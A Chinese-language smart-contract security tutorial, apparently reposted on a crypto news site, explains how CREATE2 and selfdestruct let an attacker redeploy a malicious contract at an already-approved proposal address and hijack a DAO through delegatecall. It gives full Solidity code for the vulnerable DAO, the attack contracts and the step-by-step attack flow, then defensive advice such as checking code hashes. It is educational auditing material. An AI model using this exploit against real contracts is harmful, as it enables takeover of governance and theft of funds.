值得信赖的区块链资讯!
智能合约安全审计入门篇 —— Deploy Different Contracts to the Same Address
作者:小白
编辑:Liz
背景概述
在以太坊生态中,合约地址的确定性生成机制为开发者提供了便利,但同时也引入了新的攻击面。本期我们将分析通过使用 CREATE 与 CREATE2 操作码在不同时间部署不同合约到同一地址的攻击手法及防御策略。往期智能合约安全审计入门文章见合集。
前置知识
我们先来了解以太坊地址生成的两种规则:
1. CREATE
CREATE 是以太坊虚拟机(EVM) 中用于动态部署智能合约的原生操作码。自以太坊创世区块起,所有合约部署均依赖此机制。其核心特点是地址生成依赖于部署者账户的 nonce,因此地址是非确定性的(无法在部署前精确预知)。
CREATE 生成的合约地址由部署者的地址和地址的 nonce 决定:
contract address = last 20 bytes of keccak256(RLP(sender,nonce))
2. CREATE2
CREATE2 是以太坊在君士坦丁堡硬分叉(2019 年 2 月)中引入的新合约创建操作码(EIP-1014)。与传统的 CREATE 不同,在合约部署前,链下参与者就可预先计算出合约地址,这使得链下交互(如状态通道)和复杂合约架构成为可能。
CREATE2 生成的合约地址由以下四个参数决定:
contract address = last 20 bytes of keccak256(0xff∣∣sender∣∣salt∣∣keccak256(init_code))
到这里,相信大家已经了解了以太坊生成合约地址的两种方式,心细的读者可能会想,如果计算出的合约地址已经存在了怎么办?这一点不必担心,在以太坊中,无论通过 CREATE 还是 CREATE2 生成的地址,只要已经在链上存在(无论是外部账户 EOA 还是合约账户),EVM 都会拒绝创建合约的请求。以下是地址冲突的两种场景:
1. 目标地址是外部账户(EOA)
-
规则:如果目标地址是一个已存在的 EOA(例如,用户钱包地址),EVM 会拒绝合约部署请求。
-
结果:交易失败,Gas 被消耗,合约不会被创建,且不会覆盖该地址的任何数据。
2. 目标地址是合约账户
-
规则:如果目标地址是一个已部署的合约账户,EVM 同样会拒绝部署请求。
-
结果:交易失败,Gas 被消耗,原有合约的代码和存储数据保持不变。
当然,凡事都有例外,如果目标地址为合约并且已通过 selfdestruct 自毁,此时就可以重新在该地址部署新合约。
至此,CREATE 与 CREATE2 这两种操作码的各种特性就介绍完了,下面我们看看如何利用这两个操作码的特性打出一套组合拳,完成一次合约攻击。
漏洞示例
// SPDX-License-Identifier: MITpragma solidity ^0.8.26;contract DAO { struct Proposal { address target; bool approved; bool executed; } address public owner = msg.sender; Proposal[] public proposals; function approve(address target) external { require(msg.sender == owner, "not authorized"); proposals.push( Proposal({target: target, approved: true, executed: false}) ); } function execute(uint256 proposalId) external payable { Proposal storage proposal = proposals[proposalId]; require(proposal.approved, "not approved"); require(!proposal.executed, "executed"); proposal.executed = true; (bool ok,) = proposal.target.delegatecall( abi.encodeWithSignature("executeProposal()") ); require(ok, "delegatecall failed"); }}
漏洞分析
这个 DAO 合约实现了一个基本的治理机制:Owner 通过 approve 函数审核并记录提案合约地址到 Proposals 数组中,任何用户随后可通过 execute 函数执行已审核的提案。看似严密的权限控制(仅 Owner 可审核提案)结合执行检查(提案需审核且未执行),实则存在一个隐蔽的逻辑漏洞:已审核的提案地址可能在执行时指向完全不同的合约代码。攻击者可分如下三步实施攻击:
1. 部署正常合约,获取授权
攻击者首先部署一个包含无害 executeProposal() 函数的合约 A,通过 Owner 审核将地址加入提案列表。
2. 自毁原合约,抢占地址
合约 A 执行自毁操作(selfdestruct) 清空代码,随后攻击者使用 CREATE2 操作码在同一地址部署恶意合约 B(包含危险逻辑的 executeProposal())。
3. 触发执行,劫持控制权
当用户调用 execute 时,合约会通过 delegatecall 执行新部署的恶意合约 B 代码。由于 delegatecall 会保留当前合约的上下文,攻击者可通过此操作篡改 DAO 合约状态(如修改 Owner)或转移资产。
下面我们结合攻击合约来看看具体的攻击流程。
攻击合约
// SPDX-License-Identifier: MITpragma solidity ^0.8.26;contract Proposal { event Log(string message); function executeProposal() external { emit Log("Executed code approved by DAO"); } function emergencyStop() external { selfdestruct(payable(address(0))); }}contract Attack { event Log(string message); address public owner; function executeProposal() external { emit Log("Executed code not approved by DAO :)"); // For example - set DAO's owner to attacker owner = msg.sender; }}contract DeployerDeployer { event Log(address addr); function deploy() external { bytes32 salt = keccak256(abi.encode(uint256(123))); address addr = address(new Deployer{salt: salt}()); emit Log(addr); }}contract Deployer { event Log(address addr); function deployProposal() external { address addr = address(new Proposal()); emit Log(addr); } function deployAttack() external { address addr = address(new Attack()); emit Log(addr); } function kill() external { selfdestruct(payable(address(0))); }}
攻击流程如下:
1. Alice 部署了 DAO 合约。
2. Evil 部署 DeployerDeployer 合约,地址为 DD。
3. Evil 调用 DD.deploy(),使用 CREATE2 部署 Deployer 到地址 D(固定 salt)。
4. 调用 D.deployProposal(),创建 Proposal 合约地址 P,此时 D 的 nonce 是 0。
5. Alice 批准地址 P。
6. 攻击者调用 D.kill(),销毁 D,此时地址 D 的账户被清除,包括 nonce 也被重置为 0。
7. 攻击者再次调用 DD.deploy(),重新部署 Deployer 到地址 D(同样的 CREATE2 参数)。
8. 调用 D.deployAttack(),因为此时 D 的 nonce 被重置为 0 且 D 的地址没变,所以创建的 Attack 合约地址与之前的 Proposal 合约地址 P 是相同的。
9. 此时,DAO 的 proposals 数组中有一个提案指向地址 P,但现在地址 P 已经被重新部署为 Attack 合约。因此,当调用 execute() 时,会执行 Attack 的 executeProposal(),最终通过 delegatecall 修改 DAO 的 Owner 为 msg.sender,也就是 Attack 合约。
攻击原理可以总结为攻击者利用 CREATE2 可以重新部署合约到同一地址的特性,先部署一个合法的 Proposal 合约,让 DAO 批准。然后销毁 Deployer 合约,重新部署同一地址的 Deployer,重置该地址的 nonce ,最终成功部署恶意合约到与之前 Proposal 相同的地址。由于 DAO 存储的提案地址现在指向恶意合约,当执行提案时,恶意代码在 DAO 的上下文中执行,成功将 Owner 修改为攻击者。
修复建议
作为开发者:
-
在批准提案时,不仅要记录地址,还要记录该地址的代码哈希,并在执行时验证代码哈希是否一致。
-
避免使用 delegatecall 调用外部合约,除非有充分的安全措施。
-
考虑合约自毁后重新部署到同一地址的可能,进行外部调用时,需要检查外部合约是否可信,如果需要调用陌生的外部合约,建议检查合约中是否存在防自毁机制。
作为审计者:
-
识别外部调用的合约中是否存在 selfdestruct 自毁功能,如果存在,则需要警惕外部合约自毁后部署恶意代码到同一地址的攻击风险。
-
检查合约部署方式是否使用了 CREATE2,确保生成合约地址用到的 salt 值足够随机,防止因为合约地址被提前预测导致合约地址被攻击者抢先部署占用。
-
检查 DAO 执行提案时是否验证目标地址的代码一致性,比如比较当前代码哈希与批准时的哈希。
-
谨慎分析 delegatecall 的使用场景,确认目标地址是否可信,是否存在任意地址调用的风险。
-
审查提案的生命周期管理,比如是否有机制防止提案被修改或替换,例如在批准后锁定目标地址的状态。
比推快讯
更多 >>- 特朗普:将全球关税从 10%上调到 15%
- 数据:ETH 当前全网 8 小时平均资金费率为 0.0037%
- Vitalik:可利用个人 LLM 解决去中心化治理的注意力问题
- 财新:中国境内最早试水 RWA 案例来自蚂蚁数科
- Michael Saylor 下周将出席 2026 年企业比特币大会并进行开幕演讲
- 链上 HYPE 最大多头Loracle首次止盈多单,持仓规模降至 4620 万美元
- 智谱就 GLM Coding Plan 问题致歉并公布补偿方案
- 穆萨勒姆:关税替代不会改变经济前景看法
- Aave Labs 成员:Aave V3 不会被 V4 立即取代,V4 将稳步推进上线
- BTC 信仰型买家持仓达 348 万枚创新高,链上指标接近熊市底部区间
- 分析:BTC 信仰买家持仓量刷新本周期最高记录,距离熊市底部不再遥远
- 加密市场结构法案通过概率上涨,或将成为 BTC 反弹“重磅触发器”
- 财新:42 号文强调严管境外 RWA,中金香港已接触公链及交易所
- 24 小时现货资金流入/流出榜:USD1 净流入 7237 万美元、ETH 净流入 4000 万美元;
- 日本 SBI 发行 100 亿日元链上债券,投资者可获 XRP 奖励
- 白银铁头空军做空 5000 枚 ETH 和 50 枚 BTC,约合 1328 万美元
- 某鲸鱼在沉寂五年后向 Bitfinex 存入 1000 枚 BTC
- 分析师:比特币近期回调导致的已实现亏损创历史新高,或接近阶段性底部
- Coinbase CEO:Coinbase 托管全美超 80%的 BTC 及 ETH ETF 资产,2025 年流入额峰值达 310 亿美元
- 数据:某 WLFI 战略储备关联钱包将 2660 万枚 WLFI 转入新钱包,约合 320 万美元
- IoTeX:已注意到代币保险箱可疑活动,正追踪并冻结黑客资产
- 数据:若 ETH 跌破 1,874 美元,主流 CEX 累计多单清算强度将达 8.6 亿美元
- 疑似与 Infini Hacker 相关的钱包将 3003 枚 ETH 兑换为 87 枚 WBTC
- 若比特币突破 6.9 万美元,主流 CEX 累计空单清算强度将达 8.64 亿
- IoTeX 疑似私钥泄露导致约 430 万美元资产被盗并跨链转移
- 10x Research:Circle 获多重利好加持,基本面与机构面共振推动股价走强
- DFINITY Foundation:云引擎收入的 20%将用于销毁 ICP
- Bitdeer 披露比特币持仓量维持 943.1 枚,本周无净新增
- VanEck 发布比特币链上报告:持币超 1 年群体抛售放缓,算力收缩或为后续回报走强奠定基础
- Solana 链上 Meme 币 Lobstar 市值短时突破 1500 万美元后回落,24 小时涨幅 579%
- Polymarket 上“美国在 3 月 31 日之前打击伊朗”事件概率升至 63%
- 黄金看涨情绪再次占据主导,散户投资者已连续三周维持温和看涨观点
- Uniswap:已发布七项新技能以支持 AI 代理执行链上操作
- Coinbase 比特币负溢价持续 37 日,当前报-0.0523%
- 数据:过去 24 小时全网爆仓 1.59 亿美元,多单爆仓 6,725.2 万美元,空单爆仓 9,180.55 万美元
- 火币 HTX 为网红猕猴 Punch 捐赠 10 万美元,并任命其为品牌大使
- 以太坊自合并以来流通量增加超 95 万枚,年化通胀率约 0.23%
- Nakamoto 以约 8163 万美元完成对 BTC Inc 及 UTXO 的收购
- 比特币矿商 MARA 收购 AI 数据中心公司 Exaion 多数股权
- Sonic Labs 推出人工智能驱动的 Web3 应用构建平台 Spawn
- 观点:比特币需求在经历三个月的疲软后开始反弹
- 马斯克旗下 X 平台就欧盟委员会 1.2 亿欧元罚款提起上诉
- 比特币今年下行触及 5.5 万美元概率高达 73%
- NBA 退役球星皮蓬发文坚持比特币信仰
- Vitalik 回应以太坊慢性死亡言论:将通过 4 次重大变革实现系统升级
- 数据:过去 24h Binance 净流出 7.21 亿 USDT
- Sonic Labs CEO 与商务负责人离职
- 数据:散户持续增持比特币但巨鲸减仓或压制反弹空间
- Pump.fun 团队关联地址近两日售出价值 723 万美元 PUMP
- 美 SEC 明确支付型稳定币净资本计算标准:自营头寸适用 2%折价率
比推专栏
更多 >>- Happy new year【Horse success】|0213Asian
- Was it finished?|0206 Asian
- 围猎以太坊多头:「巨鲸」们暴亏 70 亿美元,正被集体围观
- Challenge,risk And chances|0130 Asian
- Meta 豪赌 AI:砸钱 1350 亿美元,2026 的扎克伯格,值得相信么?
- Variables: Terrible snowstorm|0128 Asian
- 英特尔「生死线」时刻:在 ICU 门前,陈立武如何清算遗产并开启自救?
- 從1月13號到今天,提前到5100|0126Asian
- You Should work HARDER in 2026|0120 Asian
- 硅谷最聪明那群人的「终极推演」:2026,我们应该「All-In」什么?
观点
比推热门文章
- 从内容帝国到金融平台:MrBeast的商业版图再下一城
- 特朗普:将全球关税从 10%上调到 15%
- Blockchain合伙人:价值正从协议层向应用层转移,加密行业迎来结构性洗牌
- 数据:ETH 当前全网 8 小时平均资金费率为 0.0037%
- 从“惩罚”到“接纳”:SEC的2%折扣撕开稳定币合规口子
- Vitalik:可利用个人 LLM 解决去中心化治理的注意力问题
- 财新:中国境内最早试水 RWA 案例来自蚂蚁数科
- 如何靠数马斯克推文,年入30万美元?
- Michael Saylor 下周将出席 2026 年企业比特币大会并进行开幕演讲
- 链上 HYPE 最大多头Loracle首次止盈多单,持仓规模降至 4620 万美元
比推 APP



